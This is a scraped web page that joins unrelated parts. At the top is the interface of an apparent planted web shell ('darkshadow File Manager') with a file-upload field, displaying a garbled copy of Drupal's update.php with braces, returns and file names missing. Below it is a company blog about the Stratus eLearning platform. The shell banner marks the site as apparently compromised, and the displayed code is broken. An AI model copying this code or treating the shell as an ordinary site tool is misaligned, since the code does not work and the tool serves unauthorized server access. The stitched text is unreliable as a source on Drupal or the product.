Ideas, new features and today's news


Dr.silnt HilL File Manager

darkshadow File Manager

Current Path : /opt/bitnami/apps/product/htdocs/
Upload File :
Current File : /opt/bitnami/apps/product/htdocs/update.php


 * Root directory of Drupal installation.
define('DRUPAL_ROOT', getcwd());

 * @file
 * Administrative page for handling updates from one Drupal version to another.
 * Point your browser to "" and follow the
 * instructions.
 * If you are not logged in using either the site maintenance account or an
 * account with the "Administer software updates" permission, you will need to
 * modify the access check statement inside your settings.php file. After
 * finishing the upgrade, be sure to open settings.php again, and change it
 * back to its original state!

 * Global flag indicating that update.php is being run.
 * When this flag is set, various operations do not take place, such as invoking
 * hook_init() and hook_exit(), css/js preprocessing, and translation.
define('MAINTENANCE_MODE', 'update');

function update_selection_page() {
  drupal_set_title('Drupal database update');
  $elements = drupal_get_form('update_script_selection_form');
  $output = drupal_render($elements);


  return $output;

function update_script_selection_form($form, &$form_state) {
  $count = 0;
  $incompatible_count = 0;
  $form['start'] = array(
    '#tree' => TRUE,
    '#type' => 'fieldset',
    '#collapsed' => TRUE,
    '#collapsible' => TRUE,

  // Ensure system.module's updates appear first.
  $form['start']['system'] = array();

  $updates = update_get_update_list();
  $starting_updates = array();
  $incompatible_updates_exist = FALSE;
  foreach ($updates as $module => $update) {
    if (!isset($update['start'])) {
      $form['start'][$module] = array(
        '#type' => 'item',
        '#title' => $module . ' module',
        '#markup'  => $update['warning'],
        '#prefix' => '<div class="messages warning">',
        '#suffix' => '</div>',
      $incompatible_updates_exist = TRUE;
    if (!empty($update['pending'])) {
      $starting_updates[$module] = $update['start'];
      $form['start'][$module] = array(
        '#type' => 'hidden',
        '#value' => $update['start'],
      $form['start'][$module . '_updates'] = array(
        '#theme' => 'item_list',
        '#items' => $update['pending'],
        '#title' => $module . ' module',
    if (isset($update['pending'])) {
      $count = $count + count($update['pending']);

  // Find and label any incompatible updates.
  foreach (update_resolve_dependencies($starting_updates) as $function => $data) {
    if (!$data['allowed']) {
      $incompatible_updates_exist = TRUE;
      $module_update_key = $data['module'] . '_updates';
      if (isset($form['start'][$module_update_key]['#items'][$data['number']])) {
        $text = $data['missing_dependencies'] ? 'This update will been skipped due to the following missing dependencies: <em>' . implode(', ', $data['missing_dependencies']) . '</em>' : "This update will be skipped due to an error in the module's code.";
        $form['start'][$module_update_key]['#items'][$data['number']] .= '<div class="warning">' . $text . '</div>';
      // Move the module containing this update to the top of the list.
      $form['start'] = array($module_update_key => $form['start'][$module_update_key]) + $form['start'];

  // Warn the user if any updates were incompatible.
  if ($incompatible_updates_exist) {
    drupal_set_message('Some of the pending updates cannot be applied because their dependencies were not met.', 'warning');

  if (empty($count)) {
    drupal_set_message(t('No pending updates.'));
    $form['links'] = array(
      '#markup' => theme('item_list', array('items' => update_helpful_links())),

    // No updates to run, so caches won't get flushed later.  Clear them now.
  else {
    $form['help'] = array(
      '#markup' => '<p>The version of Drupal you are updating from has been automatically detected.</p>',
      '#weight' => -5,
    if ($incompatible_count) {
      $form['start']['#title'] = format_plural(
        '1 pending update (@number_applied to be applied, @number_incompatible skipped)',
        '@count pending updates (@number_applied to be applied, @number_incompatible skipped)',
        array('@number_applied' => $count - $incompatible_count, '@number_incompatible' => $incompatible_count)
    else {
      $form['start']['#title'] = format_plural($count, '1 pending update', '@count pending updates');
    $form['has_js'] = array(
      '#type' => 'hidden',
      '#default_value' => FALSE,
    $form['actions'] = array('#type' => 'actions');
    $form['actions']['submit'] = array(
      '#type' => 'submit',
      '#value' => 'Apply pending updates',
  return $form;

function update_helpful_links() {
  // NOTE: we can't use l() here because the URL would point to
  // 'update.php?q=admin'.
  $links[] = '<a href="' . base_path() . '">Front page</a>';
  $links[] = '<a href="' . base_path() . '?q=admin">Administration pages</a>';
  return $links;

function update_results_page() {
  drupal_set_title('Drupal database update');
  $links = update_helpful_links();

  // Report end result.
  if (module_exists('dblog')) {
    $log_message = ' All errors have been <a href="' . base_path() . '?q=admin/reports/dblog">logged</a>.';
  else {
    $log_message = ' All errors have been logged.';

  if ($_SESSION['update_success']) {
    $output = '<p>Updates were attempted. If you see no failures below, you may proceed happily to the <a href="' . base_path() . '?q=admin">administration pages</a>. Otherwise, you may need to update your database manually.' . $log_message . '</p>';
  else {
    list($module, $version) = array_pop(reset($_SESSION['updates_remaining']));
    $output = '<p class="error">The update process was aborted prematurely while running <strong>update #' . $version . ' in ' . $module . '.module</strong>.' . $log_message;
    if (module_exists('dblog')) {
      $output .= ' You may need to check the <code>watchdog</code> database table manually.';
    $output .= '</p>';

  if (!empty($GLOBALS['update_free_access'])) {
    $output .= "<p><strong>Reminder: don't forget to set the <code>\$update_free_access</code> value in your <code>settings.php</code> file back to <code>FALSE</code>.</strong></p>";

  $output .= theme('item_list', array('items' => $links));

  // Output a list of queries executed.
  if (!empty($_SESSION['update_results'])) {
    $all_messages = '';
    foreach ($_SESSION['update_results'] as $module => $updates) {
      if ($module != '#abort') {
        $module_has_message = FALSE;
        $query_messages = '';
        foreach ($updates as $number => $queries) {
          $messages = array();
          foreach ($queries as $query) {
            // If there is no message for this update, don't show anything.
            if (empty($query['query'])) {

            if ($query['success']) {
              $messages[] = '<li class="success">' . $query['query'] . '</li>';
            else {
              $messages[] = '<li class="failure"><strong>Failed:</strong> ' . $query['query'] . '</li>';

          if ($messages) {
            $module_has_message = TRUE;
            $query_messages .= '<h4>Update #' . $number . "</h4>\n";
            $query_messages .= '<ul>' . implode("\n", $messages) . "</ul>\n";

        // If there were any messages in the queries then prefix them with the
        // module name and add it to the global message list.
        if ($module_has_message) {
          $all_messages .= '<h3>' . $module . " module</h3>\n" . $query_messages;
    if ($all_messages) {
      $output .= '<div id="update-results"><h2>The following updates returned messages</h2>';
      $output .= $all_messages;
      $output .= '</div>';

  return $output;

function update_info_page() {
  // Change query-strings on css/js files to enforce reload for all users.
  // Flush the cache of all data for the update status module.
  if (db_table_exists('cache_update')) {
    cache_clear_all('*', 'cache_update', TRUE);

  drupal_set_title('Drupal database update');
  $token = drupal_get_token('update');
  $output = '<p>Use this utility to update your database whenever a new release of Drupal or a module is installed.</p><p>For more detailed information, see the <a href="">upgrading handbook</a>. If you are unsure what these terms mean you should probably contact your hosting provider.</p>';
  $output .= "<ol>\n";
  $output .= "<li><strong>Back up your database</strong>. This process will change your database values and in case of emergency you may need to revert to a backup.</li>\n";
  $output .= "<li><strong>Back up your code</strong>. Hint: when backing up module code, do not leave that backup in the 'modules' or 'sites/*/modules' directories as this may confuse Drupal's auto-discovery mechanism.</li>\n";
  $output .= '<li>Put your site into <a href="' . base_path() . '?q=admin/config/development/maintenance">maintenance mode</a>.</li>' . "\n";
  $output .= "<li>Install your new files in the appropriate location, as described in the handbook.</li>\n";
  $output .= "</ol>\n";
  $output .= "<p>When you have performed the steps above, you may proceed.</p>\n";
  $form_action = check_url(drupal_current_script_url(array('op' => 'selection', 'token' => $token)));
  $output .= '<form method="post" action="' . $form_action . '"><p><input type="submit" value="Continue" class="form-submit" /></p></form>';
  $output .= "\n";
  return $output;

function update_access_denied_page() {
  drupal_add_http_header('Status', '403 Forbidden');
  watchdog('access denied', 'update.php', NULL, WATCHDOG_WARNING);
  drupal_set_title('Access denied');
  return '<p>Access denied. You are not authorized to access this page. Log in using either an account with the <em>administer software updates</em> permission or the site maintenance account (the account you created during installation). If you cannot log in, you will have to edit <code>settings.php</code> to bypass this access check. To do this:</p>
 <li>With a text editor find the settings.php file on your system. From the main Drupal directory that you installed all the files into, go to <code>sites/your_site_name</code> if such directory exists, or else to <code>sites/default</code> which applies otherwise.</li>
 <li>There is a line inside your settings.php file that says <code>$update_free_access = FALSE;</code>. Change it to <code>$update_free_access = TRUE;</code>.</li>
 <li>As soon as the update.php script is done, you must change the settings.php file back to its original form with <code>$update_free_access = FALSE;</code>.</li>
 <li>To avoid having this problem in the future, remember to log in to your website using either an account with the <em>administer software updates</em> permission or the site maintenance account (the account you created during installation) before you backup your database at the beginning of the update process.</li>

 * Determines if the current user is allowed to run update.php.
 * @return
 *   TRUE if the current user should be granted access, or FALSE otherwise.
function update_access_allowed() {
  global $update_free_access, $user;

  // Allow the global variable in settings.php to override the access check.
  if (!empty($update_free_access)) {
    return TRUE;
  // Calls to user_access() might fail during the Drupal 6 to 7 update process,
  // so we fall back on requiring that the user be logged in as user #1.
  try {
    require_once DRUPAL_ROOT . '/' . drupal_get_path('module', 'user') . '/user.module';
    return user_access('administer software updates');
  catch (Exception $e) {
    return ($user->uid == 1);

 * Add the update task list to the current page.
function update_task_list($active = NULL) {
  // Default list of tasks.
  $tasks = array(
    'requirements' => 'Verify requirements',
    'info' => 'Overview',
    'select' => 'Review updates',
    'run' => 'Run updates',
    'finished' => 'Review log',

  drupal_add_region_content('sidebar_first', theme('task_list', array('items' => $tasks, 'active' => $active)));

 * Returns (and optionally stores) extra requirements that only apply during
 * particular parts of the update.php process.
function update_extra_requirements($requirements = NULL) {
  static $extra_requirements = array();
  if (isset($requirements)) {
    $extra_requirements += $requirements;
  return $extra_requirements;

 * Check update requirements and report any errors or (optionally) warnings.
 * @param $skip_warnings
 *   (optional) If set to TRUE, requirement warnings will be ignored, and a
 *   report will only be issued if there are requirement errors. Defaults to
 *   FALSE.
function update_check_requirements($skip_warnings = FALSE) {
  // Check requirements of all loaded modules.
  $requirements = module_invoke_all('requirements', 'update');
  $requirements += update_extra_requirements();
  $severity = drupal_requirements_severity($requirements);

  // If there are errors, always display them. If there are only warnings, skip
  // them if the caller has indicated they should be skipped.
  if ($severity == REQUIREMENT_ERROR || ($severity == REQUIREMENT_WARNING && !$skip_warnings)) {
    drupal_set_title('Requirements problem');
    $status_report = theme('status_report', array('requirements' => $requirements));
    $status_report .= 'Check the error messages and <a href="' . check_url(drupal_requirements_url($severity)) . '">try again</a>.';
    print theme('update_page', array('content' => $status_report));

// Some unavoidable errors happen because the database is not yet up-to-date.
// Our custom error handler is not yet installed, so we just suppress them.
ini_set('display_errors', FALSE);

// We prepare a minimal bootstrap for the update requirements check to avoid
// reaching the PHP memory limit.
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';
require_once DRUPAL_ROOT . '/includes/';

// Temporarily disable configurable timezones so the upgrade process uses the
// site-wide timezone. This prevents a PHP notice during session initlization
// and before offsets have been converted in user_update_7002().
$configurable_timezones = variable_get('configurable_timezones', 1);
$conf['configurable_timezones'] = 0;

// Determine if the current user has access to run update.php.

// Reset configurable timezones.
$conf['configurable_timezones'] = $configurable_timezones;

// Only allow the requirements check to proceed if the current user has access
// to run updates (since it may expose sensitive information about the site's
// configuration).
$op = isset($_REQUEST['op']) ? $_REQUEST['op'] : '';
if (empty($op) && update_access_allowed()) {
  require_once DRUPAL_ROOT . '/includes/';
  require_once DRUPAL_ROOT . '/modules/system/system.install';

  // Load module basics.
  include_once DRUPAL_ROOT . '/includes/';
  $module_list['system']['filename'] = 'modules/system/system.module';
  module_list(TRUE, FALSE, FALSE, $module_list);
  drupal_load('module', 'system');

  // Reset the module_implements() cache so that any new hook implementations
  // in updated code are picked up.
  module_implements('', FALSE, TRUE);

  // Set up $language, since the installer components require it.

  // Set up theme system for the maintenance page.

  // Check the update requirements for Drupal. Only report on errors at this
  // stage, since the real requirements check happens further down.

  // Redirect to the update information page if all requirements were met.

// update_fix_d7_requirements() needs to run before bootstrapping beyond path.
// So bootstrap to DRUPAL_BOOTSTRAP_LANGUAGE then include

include_once DRUPAL_ROOT . '/includes/';


// Now proceed with a full bootstrap.


// Turn error reporting back on. From now on, only fatal errors (which are
// not passed through the error handler) will cause a message to be printed.
ini_set('display_errors', TRUE);

// Only proceed with updates if the user is allowed to run them.
if (update_access_allowed()) {

  include_once DRUPAL_ROOT . '/includes/';
  include_once DRUPAL_ROOT . '/includes/';


  // Check the update requirements for all modules. If there are warnings, but
  // no errors, skip reporting them if the user has provided a URL parameter
  // acknowledging the warnings and indicating a desire to continue anyway. See
  // drupal_requirements_url().
  $skip_warnings = !empty($_GET['continue']);

  $op = isset($_REQUEST['op']) ? $_REQUEST['op'] : '';
  switch ($op) {
    // update.php ops.

    case 'selection':
      if (isset($_GET['token']) && $_GET['token'] == drupal_get_token('update')) {
        $output = update_selection_page();

    case 'Apply pending updates':
      if (isset($_GET['token']) && $_GET['token'] == drupal_get_token('update')) {
        // Generate absolute URLs for the batch processing (using $base_root),
        // since the batch API will pass them to url() which does not handle
        // update.php correctly by default.
        $batch_url = $base_root . drupal_current_script_url();
        $redirect_url = $base_root . drupal_current_script_url(array('op' => 'results'));
        update_batch($_POST['start'], $redirect_url, $batch_url);

    case 'info':
      $output = update_info_page();

    case 'results':
      $output = update_results_page();

    // Regular batch ops : defer to batch processing API.
      $output = _batch_page();
else {
  $output = update_access_denied_page();
if (isset($output) && $output) {
  // Explicitly start a session so that the update.php token will be accepted.
  // We defer the display of messages until all updates are done.
  $progress_page = ($batch = batch_get()) && isset($batch['running']);
  print theme('update_page', array('content' => $output, 'show_messages' => !$progress_page));

darkshadow File Manager Version 1.0, Coded By Fallag darkshadow-tn

Stratus Summer Play List

We've been in scarves and coats for too long here at Stratus Towers.

It's been a good thing as a whole range of new features and functionality are ready to ship. Improved DLE, 70:20:10 alignments Live Virtual Training and upgrades smoothly progressing for our customers. Exciting times continue to happen.

We're still enjoying our Winter tunes, but here is something new and unique for Summer.

So, our summer listening choice is all about Mediterranean summers, about music on the beach, in the shade, with friends, invoking happy memories and new invigorating ideas. Put together by Nancy Noise for our friends over at we hope it sound tracks your summer and memories of it when the evenings start to close in again.

Stratus Presenter Module

Stratus Presenter Module, an optional module that delivers Live Online Webinars, briefings, meetings or any 'happening' that your organisation needs to conduct.

It's simple, schedule the event and invite your attendees.

Within Stratus attendees see the event in their diary, they can access all delegates materials and enjoy full voice and video interaction.

No need to fiddle about with seperate telephone calls, one simple integrated tool.

Once underway your delegates will be part of a fully interactive training online session with questions alerts and everything they are familiar with when they go to a training course.

Did we mention if the event has a pre-course reading list attendees will be able access that too?

So, your Trainers and Delegates are now happy. We think your Finance Team and budget holders should be too.

Stratus Presenter Module allows you to control your budget. A 25 seat, unlimited license costs £5000 per annum and that is it; no further bills which mean simple costing and streamlined administration.

  • Your trainees can reach you where ever they're based.
  • Your customers will not have to factor travel costs.
  • Your tests and materials are online.
  • You administer your schedule and sessions.
  • As a training provider you will be able to charge for these events.
  • One annual bill.
  • "Live online training has been a service many Stratus customers have wanted us to integrate. Blended learning is something we are all familiar with but enabling elearning and live online to be managed within the same system creates a more cohesive and therefor accessible programme for our customers learners."

    — Ruth Davidison, Stratus Enablement Team

    We're booking demonstrations now - contact us now to arrange yours.

    Presenter ModuleGo_to_training

    February Stratus Play List

    There's been no time to ease into the New Year for the Stratus Team.

    The latest reporting and customer branding new features are now due for release with more functionality to follow. Exciting times.

    You'll be hearing more about that so, as something new for 2013 we thought it would be interesting to share what's being heard here!

    This months listening choice is all about musical tranquilty and focus put together by Apiento over at ; a mix of old and new, some obvious some little known - Satie and Debussy through to the modern sounds of Max Richter and Simon Jeffes.

    The Stratus Enablement Team go Wild!

    The Stratus Enablement Team have been extremely busy in the run up to the Christmas break.

    The Team have been aiding our new and existing Stratus Enterprise License holders with the consolidation and updating of their eLearning, and all of the Look & Feel amendments that follow, working to deliver these changes for launch and readiness for 2013.

    As soon as the customer provides us with their eLearning, the Team then first, works with the Customer to ensure the eLearning content is of optimal standard and efficiency, then, the Design Team step in to ensure the layout of the Stratus Virtual Learning Environment (VLE) is bespoke to the needs of the customer.

    Once the customer is then happy with the outcome of their Stratus VLE, it will Go Live, but our Enablement and Design Teams will always be on hand and available to be of assistance.

    With Stratus live customers use the SCORM importer to upload their course libaries however as part of their migration clients often use the process to update and improve content or assessments. The integrated Stratus Content Developer Tool and Assessment Builder are the natural choice for customers elearning developers, and once again our Enablement and Design Teams remain on hand and available to be of assistance - especially with tight timescales in mind.

    "Customers have realised migrating to Stratus enables consolidation of the multitude of eLearning tools and platforms their organisations are using. The move brings both their elearning development and learning environments together to provide a more coherent learning & development strategy whilst streamlining and reducing licensing costs. Great news as we keep both the Learning & Development and Finance Departments of our clients happy!"

    — Ruth Davidison, Stratus Enablement Team

    Cost savings made from consolidation have been used by some customers to fund updates and redesigns of their course suites to obtain better content, on a consolidated platform with reduced forward cost of ownership.

    StratusConsolidateLook and Feel.

    World-Wide Access to Stratus

    Stratus is constantly growing as a market leading, Corporate eLearning Tool.

    We have noticed that many of Stratus' competitors distribute their software by, firstly signing customers up to a 1 month trial, and then approaching the customer to instigate a purchase for the full product software when the trial period has ended. We have come up with a different solution to make Stratus available to anyone in the World, and also, even more consumer friendly.

    Stratus is available to anyone in the world for FREE!!!. Thats right. Anyone can Register and Login to Stratus and create eLearning. The FREE edition of Stratus will allow customers to create small pieces of basic eLearning. There are NO FREE eLearning tools on the market today.

    We understand that some customers will want more out of Stratus. The FREE edition of Stratus is designed mainly for small group training. To allow Stratus to really stretch it's legs, customers can purchase a license for Stratus Enterprise. This is an easy to use, intelligently designed, totally customisable and sustainable way of creating company-wide eLearning.

    Our main goal is for Stratus to be the best. With these two versions; Stratus and Stratus Enterprise, we have catered the needs for customers that want to make a few small pieces of eLearning for FREE and corporate customers who want to make company wide, professional, detailed, adaptable eLearning.


    Stratus Assessments

    Assessments, eLearning

    One of the key features of Stratus is it Assessment Builder tool. It allows users to create assessments and embed them within their Stratus eLearning and to provide on-line certification.

    Surveys show that the vast majority of eLearning assessment based tools and systems do not provide full certification. Stratus addresses this problem by providing a certified registration and tracking solution for certification agencies directly within the eLearning. You can connect your courses and learning with certified bodies to ensure that students complete their training with recognised and certified qualifications and certificates.

    Being a Market-Leading product, Stratus needs to stay ahead of it's competitors. Below is a table showing which Online eLearning Tools do and don't create assessment certificates.


    eLearning Tool Yes No











    Stratus is one of the few if not the only tool on the market that supplies company delegates with certificates if they successfully complete the assessments on their Stratus sites and connnects these with full certification agencies. Please enquire with our support team for further details and to determine if your accreditation needs can be supported by Stratus.


    New Stratus Look and Feel!

    Stratus Look and Feel

    We are delighted to announce an upgrade to the Stratus Look and Feel suite.

    Upon launching the new Look and Feel (LAF) suite which allows customers to fully customise their Stratus eLearning sites to match their company branding, we have received excellent feedback from our Corporate Enterprise Customers. We are now launching the Stratus Public Community Themes Pack allowing users to select from a range of exciting themes and "skins". These have all been developed using the new Stratus Look and Feel suite.

    The Stratus Look and Feel suite allows users to:

    • Insert a Company Logo
    • Change the Background Colour of the page
    • Apply a different colour for the main Toolbars
    • Use different colours for the Header text, the Normal text, and the Link text, and to apply different fonts
    • Change the background colour on the Toolbar tabs that have been selected
    • Apply a different colour to the menu boxes on the page
    • Change the colour of the borders on the menu boxes

    The new range of features are fully supported with new Stratus functionality:

    • Company and User Level LAF Definitions
    • Real-time Preview and Publishing
    • Google Font Support
    • Public Theme Development and Publishing
    • Private Theme and Brand Management (Enterprise)

    This new update has given Stratus' world-wide users more flexibilty on the type of design they want on their sites. It ensures that Stratus is a tool than can be adapted to suit the Look and Feel functionality of any company that uses this Market-Leading tool.

    Look and FeelStratuseLearningNews

    Bureau Veritas goes Live

    Market leaders in Testing, Inspection and Certification Services, Bureau Veritas have worked together with iTrain to create a suite of 8 interactive online eLearning courses covering a range of Health & Safety and compliance related topics.

    Stratus developers have created bespoke Bureau Veritas branded login screens and site pages to enhance the user experience, and reinforce the company identity.

    "This is just the sort of course content Stratus is designed for. It is perfect for the implementation of company wide training."

    — Martin Brown, CEO of iTrain


    Subscribe to News